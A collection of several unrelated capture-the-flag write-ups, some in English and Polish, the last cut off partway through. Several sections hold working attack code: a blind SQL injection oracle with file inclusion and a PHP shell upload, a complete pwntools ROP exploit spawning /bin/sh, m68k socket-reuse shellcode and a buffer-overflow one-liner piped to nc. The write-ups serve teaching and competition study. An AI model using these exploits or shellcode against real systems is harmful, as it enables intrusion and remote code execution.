# Result
[](https://imma.gr/l/68017xe1ebd)
-----
Which is readable enough to see the flag
h4ck1t{PyC_steg0_rev3rseR} |
# V1rus3pidem1c (web 100)
## ENG[PL](#pl-version)
In the task we get a webpage where we can select a country from dropdown and for some countries this shows us file upload form and for some of them it doesn't.For example there is a form for `Germany` and no form for `Russia`.
The country name is passed as GET parameter in the query, and we decide to see what exactly is done with it.A little bit of fuzzing tells us that it goes into some SQL query into where condition.
With classic `country=Russia' or '1'='1` we get a form for Germany, which means we managed to exploit the task with SQL Injection.
We tried a bit to get some echo here, but couldn't, so we simply switched to run Blind SQLi attack.We got a simple oracle function:
```import requestssession = requests.session()
def is_true(condition): url = "http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a" % condition result = session.get(url) return 'virus for Germany' in result.text
def main(): print(is_true("1=1")) print(is_true("1=0"))
main()```
And with this we can extract `Information_Schema.Tables` and `Information_Schema.Columns` data, with simple substring and byte-by-byte comparison using the oracle function.
This tells us there we have only a single user defined table and it contains only `countryID, countryName, scriptPath`.Last parameter is especially interesting since it's an actual path to php script with form, which gets included on the page.It's in form: `country/ge.php`, `country/tu.php` etc.
We could use our SQLi to include some other file by `index.php?country=' union select 'somefile.php' -- comment`, but we can't put any file on the server.But since we control the include path we decided to check good old php wrappers and force the server to include: `php://filter/read=convert.base64-encode/resource=country/ge.php` and as expected we get a nice base64 contents of the php script.
It seems that the files uploaded by the form available for some countries actually get uploaded to the server!We have there for example:
```php
```
So it's clear that we can use this form to upload a php shell to the server and then use SQLi to include it on the page and execute, because we know the file will be under `uploads/file_name`.
We proceed with this and find a hidden php file with flag: `h4ck1t{$QL&LFI=FR13ND$}`
## PL version
W zadaniu dostajemy link do strony internetowej gdzie możemy wybrać z listy jeden z krajów i dla niektórych pojawia się formularz uploadu plików a dla innych nie.
Na przykład dla `Germany` mamy formularz a dla `Russia` nie.
Nazwa kraju jest przesyłana jako parametr GET i spróbowaliśmy przetestować co się może dziać z tym parametrem.Troche fuzzowania pokazało że parametr idzie bezpośrednio do query SQL do warunku where.
Klasycznym `country=Russia' or '1'='1` dostaliśmy formular dla Niemiec, co znaczy że mamy tam SQL Injection.
Próbowalismy dostać tam gdzieś echo, ale bez skutku, więc postanowiliśmy użyć Blind SQLi.Przygotowalismy prostą funkcje:
```import requestssession = requests.session()
def is_true(condition): url = "http://tasks.ctf.com.ua:13372/index.php?country=Russia' or (%s) -- a" % condition result = session.get(url) return 'virus for Germany' in result.text
def main(): print(is_true("1=1")) print(is_true("1=0"))
main()```
I możemy dzięki temu pobrać z `Information_Schema.Tables` i `Information_Schema.Columns` dane poprzez proste substring oraz porównywanie wartości bajt po bajcie za pomocą funkcji oracle.
Stąd wiemy, że jest tylko jedna tabela użytkownika i zawiera `countryID, countryName, scriptPath`.
Ostatni parametr jest szczególnie ciekawy bo zawiera ścieżkę do plików php, które są includowane na stronie.
Mają postać: `country/ge.php`, `country/tu.php` etc.
Moglibyśmy użyć naszego SQLi żeby includować jakiś inny plik przez `index.php?country=' union select 'somefile.php' -- comment` ale nie możemy póki co umieścić niczego na serwerze.
Niemniej skoro kontrolujemy ścieżkę do include to może stare dobre wrappery php zadziałają i czy serwer pozwoli includować: `php://filter/read=convert.base64-encode/resource=country/ge.php` i tak jak na to liczylismy, dostaliśmy ładne base64 z kodu skryptu.
Analiza kodu pozwala stwierdzić, że możemy uploadować pliki na serwer za pomocą skryptów dla niektórych krajów!Mamy tam:
```php
```
Widać wyraźnie, że mozemy spokojnie wrzucić za pomocą formularza shell php na serwer i użyć SQLi żeby go includować i użyć, bo wiemy że jest dostępny pod `uploads/file_name`.
Umieszczamy więc nasz shell i odnajdujemy ukryty plik php z flagą: `h4ck1t{$QL&LFI=FR13ND$}` |
# RHME3 prequal challenge
One of the prequal challenges of the RHME3 CTF was a white-box. Ref: https://rhme.riscure.com/3/
Components----------
* `target` contains the original challenge and instructions how to use it.* `DCA` contains the DCA attack against this challenge.* `DFA` contains the DFA attack against this challenge.
Other write-ups---------------
* https://gist.github.com/niklasb/d0c8a5866b436f226b597e7f8c25d11e* https://gist.github.com/bennofs/dc8d3a845bca0f5888192b50c19e669f* https://github.com/ResultsMayVary/ctf/tree/master/RHME3/whitebox (using Deadpool tools)* https://gist.github.com/KarlVogel/2de84d386080d7d1b60209c8b8a43470 (using Deadpool tools)* https://github.com/pakesson/ctf/blob/master/RHme3/qualifiers/whitebox/trace_it.py (using Deadpool tools)* https://govanify.com/post/rhme3-quals-ctf/ (using Deadpool tools)* https://gist.github.com/sudhackar/c3dd4799ceccd8e0f1690ac4ab7b9137 (using phoenixAES from JeanGrey)* https://github.com/ikizhvatov/jlsca-tutorials/blob/master/rhme2017-qual-wb.ipynb (using Deadpool and Jlsca)* See also https://ctftime.org/task/4526 |
1. Create player1, set 0x21 for all fields2. Add, Select, Remove player2 to get dangling pointer3. Edit player2 via dangling pointer to point at player1 data4. Write the address of strlen() in GOT to player2 name (overwriting player1 name pointer)5. Edit player1 name, dereferencing GOT pointer and overwriting GOT address6. Point strlen to gadget to shift stack7. ROP to clear a couple of registers before hitting /bin/sh one gadget |
# Chinese Satellite (crypto 200)
## ENG[PL](#pl-version)
This task was very strange.The author clearily didn't understand quantum key exchange at all, and in this particular case knowing how this should work was making the task harder to solve...
In the task we get some intercepted quantum transfers [sat->ground](q_transmission_1), [ground->sat](q_transmission_2), [sat->ground](q_transmission_3) and a ciphertext in public channel:
`269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3`
In general quantum key exchange is quite simple:
1. Alice sends set of random bits encoded in one of two bases (let's call them X and Y)2. Bob receives the qbits and randomly selects which base to use to measure value (since he can't know which base Alice used for each of qbits). Statistically he will get about half of the bases right.3. Bob sends to Alice information which bases he used for each of the qbits.4. Alice compares the list from Bob with the bases she actually used and sends to Bob information which bases he got right.
In case Bob used the right base he knows the bit value Alice wanted to send.Those agreed bits are then normally used as some symmetric key for the communication.
We have our 3 transmissions, and they are exactly what described above:
1. First one is the whole dump of initial qbits sent by Alice. We have two bases -> straight (`-` or `|`) and cross (`/` or `\`).2. Second one is bases Bob used - straight `+` or cross `x`.3. Last one is the list of bits Bob got right marked as `v`.
So we can simply read values sent by Alice in 1st transmission for which there is `v` in last tramissions and we will get the qbits that they got right. We don't really know if `\` is 0 or 1 and if `|` is 0 or 1, but this is simple enough, we can just test all 4 options.
```pythondef get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2): agreed_bits = [] for i in range(len(bases_correct)): if bases_correct[i] == 'v': if bases_measured[i] == '+': if data_sent[i] == '-': agreed_bits.append(v1) else: agreed_bits.append(abs(v1 - 1)) else: if data_sent[i] == '/': agreed_bits.append(v2) else: agreed_bits.append((abs(v2 - 1))) return hex(int("".join([str(c) for c in agreed_bits]), 2))[2:-1]```
Now it was strange, because we get some bits and we don't know how to use them as encryption key to recover the flag.Fortunately we noticed that byte values seem in printable range and I printed out the agreed bytes and one of the options was:
`iv:281e6bfc14a9aad39845f29b30ef1334,key:b340fe5025b06657034822b340ceb9d4,algo:aes_cbc`
Which makes little sens in terms of crypto channel key exchange, because Alice can't know which bits Bob will get, but whatever...
So we have all we need -> algo and parameters and we can just decrypt the flag: `h4ck1t{tr4nsmi55i0n_0v3r_bb84_l00ks_s3cur3_0k}`
Complete solver [here](quantum.py)
## PL version
To było dość dziwne zadanie.Autor ewidentnie nie rozumie o co chodzi w kwantowej wymianie klucza i paradoksalnie w tym zadaniu znajomość tego zagadnienia tylko utrudniała rozwiązanie zadania...
W zadaniu dostajemy kilka przechwyconych kwantowych transmisji [sat->ground](q_transmission_1), [ground->sat](q_transmission_2), [sat->ground](q_transmission_3) i szyfrogram w publicznym kanale:
`269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3`
Generalnie kwantowa wymiana klucza jest dość prosta:
1. Alice wysyła do Boba losowe bity kodowane w jednej z dwóch baz (nazwijmy je X i Y)2. Bob odbiera qbity i wybiera losowo w jakiej bazie odczytać wartość (ponieważ nie wie w jakiej bazie wartość została zakodowana przez Alice). Statystycznie powinien odczytać około połowy poprawnie.3. Bob wysyła do Alice informacje których baz użył dla każdego z qbitów.4. Alice porównuje listę od Boba ze swoją listą z bazami których użyła i wysyła do Boba informacje, które bazy wybrał poprawnie.
Jeśli Bob użył dobrej bazy dla danego bitu to zna wartość którą Alice chciała wysłać.Bity, które się zgodziły są zwykle używane do generacji klucza dla kryptografii symetrycznej.
Mamy 3 tranmisje danych i są dokładnie tym co opisane wyżej:
1. Pierwsza to zrzut qitów które Alice wysłała. Mamy tam dwie bazy -> prostą (`-` i `|`) oraz skośną (`/` i `\`).2. Druga to lista baz których użył Bob - prosta `+` lub skośna `x`.3. Ostatnia to lista bitów które Bob odczytał dobrze, oznaczonych przez `v`.
Możemy więc po prostu odczytać wartości które Alice wysłała w 1 transmisji, dla których w trzeciej transmisji mamy `v` i w ten sposób poznamy listę qbitów które się zgodziły.Nie wiemy co prawda czy `\` to 1 czy 0 oraz czy `|` to 1 czy 0, ale możemy przetestować wszystkie 4 opcje.
```pythondef get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2): agreed_bits = [] for i in range(len(bases_correct)): if bases_correct[i] == 'v': if bases_measured[i] == '+': if data_sent[i] == '-': agreed_bits.append(v1) else: agreed_bits.append(abs(v1 - 1)) else: if data_sent[i] == '/': agreed_bits.append(v2) else: agreed_bits.append((abs(v2 - 1))) return hex(int("".join([str(c) for c in agreed_bits]), 2))[2:-1]```
Teraz następuje dość dziwny krok, bo mamy zgodne bity, ale nie wiemy co dalej z nimi zrobić żeby odzyskać flagę.Szczęślwie zauważyliśmy, że wartości bajtów wyglądają na drukowalne ascii więc wypisaliśmy sobie uzyskane możliwości i dostaliśmy dla jednego z nich:
`iv:281e6bfc14a9aad39845f29b30ef1334,key:b340fe5025b06657034822b340ceb9d4,algo:aes_cbc`
Co zupełnie nie ma sensu z punktu widzenia kwantowej wymiany klucza, bo Alice nie mogła wiedzieć które bity Bob odzyta poprawnie, no ale co tam...
Mamy podany algorytm i prametry więc odszyfrowujemy flagę: `h4ck1t{tr4nsmi55i0n_0v3r_bb84_l00ks_s3cur3_0k}`
Cały solver [tutaj](quantum.py) |
[writeup by @abiondo]
**CTF:** VolgaCTF 2017 Quals
**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))
**Task:** exploits / Not so honest
**Points:** 350
```This server application claims to give you the flag provided you give it your encryption key. Honestly. But where's the catch?```
We have an ELF 64-bit Linux binary. `checksec.sh` shows partial RELRO, stack canary, NX and no PIE.
If we run the binary without arguments, it shows the usage:
```usage: not_so_honest <flag_file> <key_file> <flag_file> flag to give away <key_file> key file```
If we give it two files, it asks for a key to give us the flag. I started reversing the binary and noticed a stack overflow right away in `main`:
```char input_key_hex[4096];...scanf("%s", input_key_hex);```
The input key is then hexdecoded and processed. Since there's a stack canary we'd need a leak, but I tried feeding it an input of something like 4500 `A`s anyway. Let's look at the crash:
```Program received signal SIGSEGV, Segmentation fault.0x0000000000401401 in ?? ()(gdb) x/i $rip=> 0x401401: retq(gdb) x/xg $rsp0x7fffffffc3b8: 0x04bfef148209ddea```
Something funky is going on here. I expected an abort due to canary corruption, instead it's trying to jump to a corrupted return address, which should be prevented by the canary. In fact, `0x401401` is not in `main`! So there's another function vulnerable to stack overflows that isn't protected by the canary. Another thing I notice is that the return address `0x04bfef148209ddea`, while it doesn't look anything like a valid address, also doesn't look anything like our input.
I start looking at the code around `0x401401`, which is poorly handled by IDA as it has some random bytes in between instructions that I have to manually fix. To make things quicker, I fire up `qira` and trace the last write to the return address, which gets me to this loop:
```.text:401383 loc_401383:.text:401383 mov r14, [r9+r11] ; r14 = *((uint64_t *) (r9 + r11)).text:401387 xor r14, [r10+r11] ; r14 ^= *((uint64_t *) (r10 + r11)).text:40138B xor r14, [rdx+r11] ; r14 ^= *((uint64_t *) (rdx + r11)).text:40138F mov [rsp+r11], r14 ; *((uint64_t *) (rsp + r11)) = r14.text:401393 add r11, 8 ; r11 += 8.text:401397 cmp r11, rcx.text:40139A jl short loc_401383 ; while (r11 < rcx) repeat```
It's encoding and copying input data to the stack. `r11` is the offset, which starts at zero and is incremented by 8 every iteration (because it's writing 8 bytes at a time). `rdx` points to the hexdecoded input buffer (in our case, `{0xaa, 0xaa, ...}`). `r9` points to some magic buffer at `0x602088` (in `.data`). `rdx` points to code at `0x401313`. `rcx` is the size of the hexdecoded input buffer (half the input size), but it's capped at `2047`. This means it can write up to 2kB of data. The return address is overwritten at the iteration with `r11` = 104, so we have ample space for our ROP chain.
The code at `0x401313` is obviously not going to change. The buffer at `0x602088` is pre-initialized in the binary and has some modifications done at runtime. The first 104 (!) bytes are zero and are not changed. Then it has:
- 256 bytes XORed, QWORD-wise, with `0x2a8429e525bc3757`- 256 bytes XORed, QWORD-wise, with `0x241b0b5573dca89a`- 104 bytes XORed, QWORD-wise, with `0x9ae43ac798b2df95`
I only cared about the first 256 bytes block, since it's more than enough for my ROP chain. With this knowledge we can generate an input that decodes exactly to what we want: we just need to XOR our desired result with the two QWORDs for the offset it's located at. To get to the return address we need an input with `104 * 2 = 208` hex digits before our XOR-encoded and then hexencoded address. Indeed it works, RIP control achieved!
The binary has NX enabled, so we need to build a ROP chain. There's a nice `syscall` gadget, so we're going to call `execve("/bin/sh", {NULL}, NULL)`. We need gadgets to set the syscall number (`rax`) and the first three arguments (`rdi`, `rsi`, `rdx`). We also need a write-what-where gadget for `filename` and `argv`. All but `rdx` are easy:
```POP_RAX = 0x401315 # pop rax; ret;POP_RDI = 0x4014a3 # pop rdi; ret;POP_RSI = 0x400816 # pop rsi; ret;SYSCALL = 0x40135b # syscall; ret;WWW_RDI_RAX = 0x40136a # mov qword ptr [rdi], rax; ret;```
I couldn't find a gadget to set `rdx`. We actually only need to zero it out. I tried division and multiplication instructions (which have side-effects on `rdx`) without luck. Ironically, I found a way out by abusing the stack canary mitigation. Functions with this mitigation store the canary from `fs:28h` in the stack between locals and the return address in their prologue. In the epilogue they compare the stack canary against the real canary from `fs:28h` and, if they are not equal, abort execution without returning. The catch is how this check is done: the stack canary is loaded into a register, then the register is XORed with the canary from `fs:28h` and the check fails if the register is not zero. This means that, after executing the function, that register will be zeroed. You can probably guess I found a function that used `rdx` for the check and was very easy to call without significant side effects:
```.text:400BE0 sub rsp, 18h.text:400BE4 mov byte ptr [rdi+rsi], 80h.text:400BE8 shr rsi, 3.text:400BEC mov rax, fs:28h ; load real canary.text:400BF5 mov [rsp+8], rax ; store canary on stack.text:400BFA xor eax, eax.text:400BFC mov rdx, [rsp+8] ; rdx = stack canary.text:400C01 xor rdx, fs:28h ; rdx ^= real canary.text:400C0A jnz short loc_400C15 ; != 0 -> check failed.text:400C0C lea rax, [rsi+1].text:400C10 add rsp, 18h.text:400C14 retn.text:400C15 loc_400C15:.text:400C15 call ___stack_chk_fail```
All this function does is storing the byte `0x80` at the address `rdi + rsi`, so we just need to make this point to some writable address. We have gadgets to set `rdi` and `rsi`, so it's not a problem. But we could also jump straight to `0x400bec` and avoid that. The stack pointer will be advanced by 24 bytes, which means we need as many bytes of junk in the chain. Setting `rdi` and `rsi` is 32 bytes, so let's go with `0x400bec`. The code will also corrupt `rax`, but that's not a significant issue.
I built a straightforward chain (see exploit code for details) and got a shell on my machine. When connecting to the remote service, I was presented with a puzzle such as:
```Solve a puzzle: find an x such that 26 last bits of SHA1(x) are set, len(x)==29 and x[:24]=='41c171a223545b5bc9e7b2a2'```
I just bruteforced it with printable characters. At last, we have a shell:
```$ cat flag.txtVolgaCTF{ASLR_is_Usele$s_when_syscall_ret_is_in_B1n@ry}```
Full exploit code (the encoding is based off the +104 offset, 256 bytes were more than enough):
```python#!/usr/bin/python2
from pwn import *import hashlibimport itertoolsimport sys
DATA_STUFF = '561A5EB65B6C91842F343B815D114B155F50B5B10E0F2C41EA2F883E5E96F6DD1702F4B9B406BF7FB4F723FD36DA099BA89082F9635E538C46CC489F77B8E0A9A60453FFC99C3601DFE625EE69AD993ED6A0CDEFBA8A0F7D6BB57877B9356C8A5383396F133AD09C883BA6AB3BC9BDD677AC986B4CB11A81A5576C490FD343F357E3A34BA6956879DEC9C678ACE0B6E8AEAD4448F3F2DDBC13DE71C3A36B0B2096FB054055FB42864976DE0CCB27F07A556D7F009EA3AE71A731B1628A59195447F9AE023065CBFC2E07D413905460C7D75D2C124777F2809248818A40CC9D4BAA7AC092EEC7296175C25B56C6084C2FB6516196BD40E77C58968DB0F22EBE02'.decode('hex')TEXT_STUFF = '415A41BB000000004F8B34194F33341A4E33341A4E89341C4983C3084939CB7CE778037901E9478A34194732341A4632341A4688341C49FFC34939CB7CE84989E24989FC4C8D2CF500000000E806000000E8A601400000488B04244883C01348890424C34831DB498B141CE8A3FDFFFF4989141C4883C3084C39EB7CEA78037901E94883C468C34989F44C8B0249B9882060000000000078037901E8E8F0FDFFFF78037901E8488B174D89CAE862FDFFFF49891424C3662E0F1F8400000000000F1F440000415741564189FF415541544C8D25BE09200055488D2DBE092000534989F64989D54C29E54883EC0848C1FD03E847F2FFFF4885ED742031DB0F1F84'.decode('hex')
context(arch='amd64', os='linux')
p = remote('not-so-honest.quals.2017.volgactf.ru', 45678)
p.recvuntil("x[:24]=='")key_start = p.read(24)
print('[+] Bruteforcing key...')
alpha = [chr(i) for i in range(0x20, 0x7F + 1)]key = Nonefor cand in itertools.product(alpha, repeat=5): cand_key = key_start + ''.join(cand) digest = hashlib.sha1(cand_key).digest() if digest[-3:] == '\xff\xff\xff' and ord(digest[-4]) & 3 == 3: key = cand_key break
if key is None: print('ERROR: no key') sys.exit(1)
print('[+] Found key: ' + key)p.sendline(key)
POP_RAX = p64(0x401315) # pop rax; ret;POP_RDI = p64(0x4014a3) # pop rdi; ret;POP_RSI = p64(0x400816) # pop rsi; ret;SYSCALL = p64(0x40135b) # syscall; ret;WWW_RDI_RAX = p64(0x40136a) # mov qword ptr [rdi], rax; ret;ZERO_RDX = p64(0x400bec) # zero rdx; corrupt rax; add rsp, 24; ret;
W_ADDR = 0x602100 # @ .data
rop_www = lambda addr, val : POP_RDI + p64(addr) + POP_RAX + val + WWW_RDI_RAX
# write '/bin/sh\x00' to W_ADDR (filename)rop = rop_www(W_ADDR, '/bin/sh\x00')# write NULL to W_ADDR + 8 (argv[0])rop += rop_www(W_ADDR + 8, p64(0))# 1st arg (filename) = W_ADDRrop += POP_RDI + p64(W_ADDR)# 2nd arg (argv) = W_ADDR + 8rop += POP_RSI + p64(W_ADDR + 8)# 3rd arg (envp) = NULLrop += ZERO_RDX + 'A'*24 # 24 bytes junk# syscall number = 0x3b (execve)rop += POP_RAX + p64(0x3b)# execve("/bin/sh", {NULL}, NULL)rop += SYSCALL
# junk to get to return addressbuf = 'A' * 208# encode chainfor i in range(0, len(rop), 8): enc = u64(DATA_STUFF[i:i+8]) enc ^= 0x2a8429e525bc3757 enc ^= u64(TEXT_STUFF[i:i+8]) enc ^= u64(rop[i:i+8]) buf += p64(enc).encode('hex')
p.sendline(buf)p.interactive()``` |
# Pwn250 Writeup
Here we have a m68k linux binary acting as a server. When you connect to it it read your input and execute the raw data as m68k code.
To actually emulate the binary on x86 you'll need a [custom version of qemu-m68k](https://wiki.debian.org/M68k/sbuildQEMU). Otherwise you'll be greeted with this: ```➜ pwn250 qemu-m68k -L /usr/m68k-linux-gnu pwn250.fileqemu: fatal: Illegal instruction: ebc0 @ f67e66aeD0 = 6ffffef5 A0 = f67fcf58 F0 = 0000000000000000 ( 0)D1 = 0000010a A1 = 00000000 F1 = 0000000000000000 ( 0)D2 = 0000000f A2 = 00000000 F2 = 0000000000000000 ( 0)D3 = 00000000 A3 = 00000000 F3 = 0000000000000000 ( 0)D4 = 00000000 A4 = f67e1000 F4 = 0000000000000000 ( 0)D5 = 00000000 A5 = f67fd000 F5 = 0000000000000000 ( 0)D6 = f6fff100 A6 = f6fff354 F6 = 0000000000000000 ( 0)D7 = 00000000 A7 = f6fff0fc F7 = 0000000000000000 ( 0)PC = f67e66ae SR = 0009 -N--C FPRESULT = 0[1] 27694 abort qemu-m68k -L /usr/m68k-linux-gnu pwn250.file```After installing ...```➜ pwn250 qemu-m68k-static -L /usr/m68k-linux-gnu pwn250.file------➜ pwn250 netstat -ltActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address Stattcp 0 0 0.0.0.0:1234 0.0.0.0:* LISTEN```Alright let's get to work ... oh wait nope, gdb decided today is not the day.```➜ pwn250 gdb-multiarch ./pwn250.fileGNU gdb (Debian 7.12-6) 7.12.0.20161007-gitCopyright (C) 2016 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type "show copying"and "show warranty" for details.This GDB was configured as "x86_64-linux-gnu".Type "show configuration" for configuration details.For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>.Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".Type "apropos word" to search for commands related to "word"...Loaded 105 commands. Type pwndbg [filter] for a list.Reading symbols from ./pwn250.file...(no debugging symbols found)...done.pwndbg> set architecture m68kThe target architecture is assumed to be m68kpwndbg> startTemporary breakpoint 1 at 0x800008cc[1] 13997 abort (core dumped) gdb-multiarch ./pwn250.file```To debug the application I used the -d in_asm and -strace options in qemu which give me access to the assembly instructions emulated by qemu and the syscalls made by the application.
Ok so to continue we'll need a bit of context for peoples coming from x86.
[m68k](https://en.wikipedia.org/wiki/Motorola_68000) is a 16/32 bits big-endian architecture (here 32 bit is used), with a quite small [instruction set](http://68k.hax.com/). Syscalls are made with the "trap #0" instruction, arguments are in d1, d2, d3 and d4, syscall number is in d0. Function arguments are put on the stack.pea is push.jsr is call.
A lot of instrustions have a size attribute which tell them how much data they are going to modify, for example:``` move.l #$41414141, d0 ; will put 0x41414141 in the register d0. move #$41414141, d0 ; will only put 0x4141 in d0.```
With all this information we are ready to start writing the exploit, let's have a quick look at the run_shellcode function.```/ (fcn) sym.run_shellcode 152| sym.run_shellcode ();| 0x80000830 4e56fff4 link.w a6, -0xc| 0x80000834 42aefffc clr.l -0x4(a6)| 0x80000838 42a7 clr.l -(sp)| 0x8000083a 4878ffff pea 0xffff.w| 0x8000083e 48780022 pea 0x22.w| 0x80000842 48780007 pea 0x7.w| 0x80000846 48781000 pea 0x1000.w| 0x8000084a 42a7 clr.l -(sp)| 0x8000084c 4eb980000654 jsr sym.imp.mmap <-------- mmap a RWX mapping for the shellcode| 0x80000852 4fef0018 lea 0x18(sp), sp| 0x80000856 2008 move.l a0, d0| 0x80000858 2d40fffc move.l d0, -0x4(a6)| 0x8000085c 202efffc move.l -0x4(a6), d0| 0x80000860 72ff moveq -0x1, d1| 0x80000862 b280 cmp.l d0, d1| ,=< 0x80000864 660a bne.b 0x80000870| | 0x80000866 48780001 pea 0x1.w| | 0x8000086a 4eb980000640 jsr sym.imp.exit| `-> 0x80000870 2f2e0008 move.l 0x8(a6), -(sp)| 0x80000874 487980000a98 pea str.Mopen_implant_ready_on_fd__d:_n| 0x8000087a 2f2e0008 move.l 0x8(a6), -(sp)| 0x8000087e 4eb9800005dc jsr sym.imp.dprintf| 0x80000884 4fef000c lea 0xc(sp), sp| 0x80000888 202efffc move.l -0x4(a6), d0| 0x8000088c 4878000e pea 0xe.w ; size| 0x80000890 2f00 move.l d0, -(sp) ; buf| 0x80000892 2f2e0008 move.l 0x8(a6), -(sp) ; fd| 0x80000896 4eb9800005b4 jsr sym.imp.read <-------- retrieve your shellcode| 0x8000089c 4fef000c lea 0xc(sp), sp| 0x800008a0 2d40fff8 move.l d0, -0x8(a6)| 0x800008a4 487980000ab7 pea str.Executing_payload:_n| 0x800008aa 2f2e0008 move.l 0x8(a6), -(sp)| 0x800008ae 4eb9800005dc jsr sym.imp.dprintf| 0x800008b4 508f addq.l 0x8, sp| 0x800008b6 2d6efffcfff4 move.l -0x4(a6), -0xc(a6)| 0x800008bc 206efff4 movea.l -0xc(a6), a0| 0x800008c0 4e90 jsr (a0) <---------------- jump to shellcode| 0x800008c2 4280 clr.l d0| 0x800008c4 4e5e unlk a6\ 0x800008c6 4e75 rts```Here we can see the first problem, the read call only reads 14 bytes, we'll need to make a stager.
The solution I used is to jump back in the run_shellcode function right before the call to read and supply different parameters. Since the frame pointer (a6) was not modified the function will still work as normal except it will read my whole shellcode.```python#!/usr/bin/python
import osimport sysfrom pwn import *
if len(sys.argv) == 2 and sys.argv[1] == '-r': p = remote("165.227.98.55", 1234)else: p = remote("127.0.0.1", 1234)
def comp(code): with open("p.s", 'w') as f: f.write(code) os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin") with open("p.s.bin", "r") as f: payload = f.read() return payload
stager = """ pea $200 pea (a0) jmp ($80000892.l)"""p.send(comp(stager))p.recvuntil("Executing payload:")```Here I user [asmx](http://xi6.com/projects/asmx/) to compile my assembly code on the run.
Next is making the actual shellcode, since it's a remote challenge I'll make a socket reuse shellcode. The plan is to redirect stdin, stdout and stderr to the open socket, and then execute a shell. ```dup2(4, 0) dup2(4, 1) dup2(4, 2) execve("/bin/sh", NULL, NULL)```Since the string "/bin/sh" is not located in the program I'll put it in the stack using the frame pointer ``` ;dup2(4, 0) moveq #63, d0 moveq #4, d1 moveq #0, d2 trap #0 ;dup2(4, 1) moveq #63, d0 moveq #4, d1 moveq #1, d2 trap #0 ;dup2(4, 2) moveq #63, d0 moveq #4, d1 moveq #2, d2 trap #0
;put /bin/sh in memory move.l #$2f62696e, 0x10(a6) move.l #$2f736800, 0x14(a6)
;execve("/bin/sh", 0, 0) moveq #$b, d0 move.l #$0, d3 move.l #$0, d2 move.l #$0, d1 add.l a6, d1 addi.l #$10, d1 trap #0```
full exploit:```python#!/usr/bin/python
import osimport sysfrom pwn import *
if len(sys.argv) == 2 and sys.argv[1] == '-r': p = remote("165.227.98.55", 1234)else: p = remote("127.0.0.1", 1234)
def comp(code): with open("p.s", 'w') as f: f.write(code) os.system("./asmx -C 68000 -b 0 p.s -e; xxd p.s.bin") with open("p.s.bin", "r") as f: payload = f.read() return payload
stager = """ pea $200 pea (a0) jmp ($80000892.l)"""p.send(comp(stager))p.recvuntil("Executing payload:")
shellcode = """ ;dup2(4, 0) moveq #63, d0 moveq #4, d1 moveq #0, d2 trap #0 ;dup2(4, 1) moveq #63, d0 moveq #4, d1 moveq #1, d2 trap #0 ;dup2(4, 2) moveq #63, d0 moveq #4, d1 moveq #2, d2 trap #0
;put /bin/sh in memory move.l #$2f62696e, 0x10(a6) move.l #$2f736800, 0x14(a6)
;execve("/bin/sh", 0, 0) moveq #$b, d0 move.l #$0, d3 move.l #$0, d2 move.l #$0, d1 add.l a6, d1 addi.l #$10, d1 trap #0 moveq #1, d0 trap #0"""p.send(comp(shellcode))
p.interactive()``` |
An interactive server implements a login challenge with a variant of Diffie-Hellman (for non-commutative groups) on the group of permutations of the Rubik’s cube. After computing a discrete logarithm on this (non-abelian) group, we can compute the handshake to log in as admin and obtain the flag.
See the link for a complete writeup with more graphics. |
# Today’s moon phase (pwn 150)
## ENG[PL](#pl-version)
In the task we get ARM x86 [binary](pwn150) to work with.We can run the binary via retdec and get [source](pwn150.c).
In the code we have already a nice function to read the flag.We also have to stack canary protection.This means we expect some stack buffer overflow to overwrite return pointer and jump to function which prints the flag.
This points to all places where we can provide some inputs to the application.We have `getline` which reallocates memory automatically, so not here.We have `scanf` with `%c` so again, surely not here.We have another `scanf` with `%5hu%c` and the buffer is large enough (although retdec decompilation doesn't show this nicely).Finally we have something interesting:
```csnprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000));scanf((char *)&str2;;```
Again retdec doesn't do justice here, but what happens is that we create a format string based on integer we read before and then we read based on this format.We read the input into buffer initially set as:
```cmemset((char *)&v1, 0, 512);```
So it has 512 bytes, and this is all inside a condition:
```cif ((int16_t)v6 < 513)```
It would seem we can't pass anything more than 512, so we can't create a format string which would allow the buffer overflow.Let's look one more time on the format for the size: `%5hu`, so 5 digits and we read this as `unsigned short`.5 digits seems a lot considering the max number we expect is `512`...
Now let's look at the condition one more time: `(int16_t)v6 < 513`. But surely `int16_t` is `signed short`!So we found signed-unsigned issue here.We could pass a value much larger than 512, as long as after casting to signed value it's lower than 513, which is simple enough because anything large will become negative.
So the exploitation chain is as follows:
1. Send random name.2. Send `Y` (we want to send feedback)3. Send large number to create string format allowing overflow4. Send payload overflowing the buffer and overwrite return pointer (532 bytes + address) to function printing the flag (0x104d8)
```python -c "print('A\n'+'Y\n'+'65536\n'+('A'*532)+chr(0xd8)+chr(0x04)+chr(0x01)+'\n')" | nc6 165.227.98.55 2222```
And we get `h4ck1t{Astronomy_is_fun}`
## PL version
W zadaniu dostajemy [binary](pwn150) ARM x86.Możemy zdekompilować go za pomocą retdec i dostaniemy [source](pwn150.c).
W kodzie widać od razu ładną funkcje do wypisywania flagi.Nie ma też stack canary.To oznacza, że spodziewamy się stack buffer overflow za pomocą którego nadpiszemy adres powrotu z funkcji i skoczymy od funkcji wypisującej flagę.
To sugeruje analizę miejsc, gdzie wprowadzamy do aplikacji dane.
Na początku mamy `getline`, ale on realokuje pamięć w miarę potrzeb, więc nie tutaj.Następnie mamy `scanf` ale z `%c` więc też nic z tego.Później jest kolejny `scanf` z `%5hu%c` ale bufor jest wystarczająco duży (chociaż w retdecowej dekompilacji słabo to widać).Wreszcie mamy coś ciekawego:
```csnprintf((char *)&str2, 32, "%%%zus", (int64_t)(v6 % 0x10000));scanf((char *)&str2;;```
